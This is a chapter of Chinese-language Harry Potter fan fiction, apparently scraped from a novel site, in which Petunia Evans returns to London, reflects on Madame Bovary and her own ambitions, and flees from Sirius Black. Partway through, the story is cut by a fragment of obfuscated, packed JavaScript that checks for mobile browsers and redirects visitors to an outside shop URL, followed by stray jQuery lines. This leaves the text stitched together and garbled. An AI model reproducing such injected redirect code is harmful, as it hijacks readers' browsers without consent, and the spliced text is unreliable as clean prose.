就好像做了一场梦。


    佩妮坐在车厢里，看着车窗外倒退的景色，呼出的气息中仍残留着昨夜的热红酒的香气，使她仍萦绕在一种如坠梦中的眩晕感之中。


    梦的开头伊始于一辆冬夜的火车，佩妮坐在车厢里，车窗倒映出她苍白的脸，窗外雨雾模糊了一切。


    火车驶动，开进雾茫茫的夜里。


    铁轨的尽头是伊索尔德的公寓，她再带领她穿过铁门，沿着小路前行，直到推开了一扇古朴的木门。


    一杯、两杯……热红酒顺着她的嗓子滑下去的时候达到幻梦的顶峰。


    但她的膝盖上放着一本书，又提醒她这一切并非梦境。


    ——《包法利夫人》，书的扉页上却签着朱莉的名字。


    她是怎么拿到这本书的？


    昨夜梦境的尽头是一场为圣诞节表演准备的演出排练。


    旁白的声音穿过喧闹的人群传到佩妮的耳朵里。


    “过惯了平静的日子，她反倒喜欢多事之秋。”


    “她爱大海，只是为了海上的汹涌波涛；她爱草地，只是因为青草点缀了断壁残垣。”


    “在她看来，以身殉教的女杰贞德、同老师私奔的爱洛伊斯、查理其实的情妇阿涅斯·索雷、美丽的费隆夫人、女诗人克莱芒丝·伊索尔像是灿烂的彗星划破了历史的慢慢长夜。”


    “还有艾玛难忘的、晚餐盘子上的彩画所颂扬的路易十四，虽然也在黑暗的天空中发出闪烁的光辉，但和那些受到宗教迫害妇女，似乎没有什么关系。”


    “夏尔谈起话来，像一条人行道一样平淡无奇，他的想法，也和穿着普通衣服的过路人一样，引不起别人的兴趣；笑声，更不会使人浮想联翩。”


    佩妮没有见过这样的舞台剧，说是舞台剧，可舞台上只有一个演员，负责扮演故事的主人公艾玛小姐——佩妮昨晚才认识她，旁白却那么多，听起来像个诗朗诵。


    可要说是诗朗诵，在仿佛有魔力的旁白声中，佩妮的眼睛没有办法从房间草草搭建的舞台上，扮演艾玛小姐的演员身上移开。


    她没有多少动作，只是穿着漂亮的裙子，有时坐在床上，有时坐在窗边，她的目光看着纸做的窗户，脸上却是一副百无聊赖的样子。


    从演员到台下的观众，这屋子里的人好像都对这个故事熟稔于心，他们排练这个故事，只聚焦于演员的动作，以及选取哪一句旁白，他们期望于如何用一种隐晦的象征方式，来与观众达到心照不宣的共鸣。


    至于剧情如何，他们不甚关心。


    唯一没读过这个故事的人是佩妮。


    她走到书架前，找到了这本书，随手翻开一页，正巧看到了这句话。


    “她想旅行，或者回修道院。她既想死，又想去巴黎。”


    有什么东西在此刻重重地击中了佩妮。


    佩妮把这本书猛地合上。


    朱莉不知何时站到了她的身边，手上端着一杯新煮的红酒：“啊，你拿的是我的书。我不喜欢这个故事的结局。我也不喜欢安娜·卡列尼娜的结局，但它们确实是伟大的作品。你要喜欢，你可以把这本书拿走，但是等价交换，你得放一本书进来。”


    佩妮请求伊索尔德帮她把《山雀》放进那个书架。她有一点心虚，但她的私心也想要那只想鹰一样矫健的鸟，也能被他们看见。


    登上火车之前，挤在站台上等待的人群中，佩妮小声地对伊索尔德说：“这趟旅程就像一场梦一样。”


    天空飘着微雨，气温寒冷，列车员打开车门，人群向车厢内挤去，打断了伊索尔德要对她说的话。


    佩妮费了一番劲才登上车，她穿过拥挤的人群，车厢里十分嘈杂，有孩童的哭声，推车叫卖的声音，还有谁的行李箱占据了谁的座位的争吵声。


    透过打开的车窗，佩妮看见伊索尔德在站台上急切地往车厢里寻觅她的身影。


    伊索尔德好不容易看见了佩妮，手放在嘴边，使自己的声音尽量越过那些嘈杂的声音向佩妮传来：“这不是梦，佩妮，回去记得给我写信，新的地址。”


    火车晃动了一下，在站台上只停留了很短的片刻，便在细雨中往前开动了。


    车窗外的景物快速倒退，佩妮的视线落到膝盖上的那本《包法利夫人》上，这本书的文字以一种她无法想象的绚丽方式排列组合。


    艾玛穿一件领子敞开的室内长袍，照照镜子，拿起一本书，书又心不在焉地掉在膝盖上。


    她想旅行，或者回修道院。她既想死，又想去巴黎。


    她可能也在一条河里面。


    她不值得同情，她为自己的欲望付出了代价。


    “嘿，到站了。”列车员屈起手指，用指节在佩妮面前的桌上狠狠敲了敲。


    佩妮吓了一跳，有些茫然地从书中抬起头，她才发现列车早已到站了，车厢此时只剩下了她一个人。


    宿醉的眩晕仍缠绕着她。


    佩妮拿着自己的手提箱，跌跌撞撞地冲下站台。伦敦也在下雨，她深吸了一口气，凉风席进她的胸膛，带着点煤土的味道，使昏沉的大脑清晰了一点。


    梦以一辆雨中的火车开始，也以一辆雨中的火车结束。


    多利围着佩妮的手提箱，嗅着她新带回来的味道。


    佩妮正要把那本《包法利夫人》放进抽屉，但抽屉里被她塞了乱七八糟的东西，这本书怎么也塞不进去。


    佩妮把整个抽屉抽出来，原来在抽屉的尽头，阿加莎女士送给她的那两本书抵在了里面。佩妮把这两本书拿出来，一本关于拉丁语，一本关于哲学，佩妮统统只看了一个开头，便塞进了抽屉的深处——拉丁语她读不懂，关于哲学的那本书她也看得如坠云雾，现代中学完全没有传授过这两门课程的任何知识。


    阿加莎女士可能把书送错人了。


    两本书的底下是那本上次从出版社出来后，便丢进抽屉最深处的黑色笔记本。


    佩妮把它也取出来，摩挲着笔记本羊皮质的柔软封面。她突然意识到，她缺少一个书架——一直以来，这些书都放在她的抽屉里。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16454925|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >明天才回科克沃斯，佩妮拿着黑色笔记本走出房门，现在天色还不算太晚，她还可以去给自己选一个小型书架。


    走在街上，冷风迎面吹来，热红酒的余韵还留存在她的大脑和身体里，使她的大脑嗡嗡作响，身体还有一些发软。


    他们的声音盘旋在她的脑海里，那时候大家都被热红酒蒸腾热气的带到了最高点，眼睛映着穹顶上的彩色玻璃，也不记得谁说的。


    “假设你喜欢的是文学，如果要选文学这个专业，在A level的课程里，你需要选的就是哲学还有拉丁语。”他们说。


    但你喜欢文学吗？


    佩妮询问自己。


    你既非律师或是教授或是商人的孩子。


    你不是女巫，你也不是山雀。


    最重要的是你既已在伦敦拥有了一份工作，工作给你提供一份薪水，使你在伦敦能够拥有一件属于自己的房间。


    妈妈通过你来到了伦敦。


    啊，对了，你还凭借自己的能力养了一只猫。


    这样的生活也未尝不可。


    出版社的大门上了锁，里面漆黑一片，佩妮突然想起来现在是圣诞节假期。


    她觉得自己真是笨拙得像一只呆鹅。


    算了，回去吧。


    书架也不买了，等圣诞节后再说。


    佩妮拿着自己的黑色笔记本慢慢往公寓走，天气有点冷，呼出的气息在面前凝结成白雾，天气预报说今晚可能要下雪。


    再也不喝酒了。


    不知道从哪家仍开业的商铺传来叮叮当当的圣诞颂歌，街上张灯结彩，一派热闹的景象。


    她看到街角停着一辆餐车，招牌上写着本店出售苹果热红酒。


    其实再来一杯也未尝不可，就一杯。


    只要不要像朱莉那样一瓶又一瓶地倒进去，喝到大家都听见了宇宙138亿年前发来的讯息就行。


    她抬腿往餐车哪边走，路过一张长凳。


    “佩妮！”


    脚步微顿，佩妮环顾了一下四周，却没看见熟悉的面庞，声音从哪来的，幻听了吗？


    佩妮继续往前走。


    “佩妮·伊万斯！”


    没有幻听，那声音近了些，带着一点被无视的愤怒。


    佩妮回头，撞进一双灰色的眼睛里。


    灰色眼睛的主人穿一件加绒夹克，围着一条深红色的围巾，瘦削高挑的身型挺拔地站在路灯下。


    那双漂亮的灰色眼睛紧紧凝望着佩妮，黑色的头发有些长，束在脑后，几缕碎发落在那光洁的额头上。


    ——小天狼星·布莱克。


    此时一群不知何时出现的人群，突然从两人之间穿过，隔断他遥望过来的眼神。


    佩妮下意识扭头就跑。


    留下一双骤然瞪大的眼睛露出不可置信的神色，遥遥被她抛在原地。


    快跑，别被他追上。


    瞧瞧他那双眼睛，活像只控诉被人抛弃的小狗。


    她可不想被追上，然后秋后算账。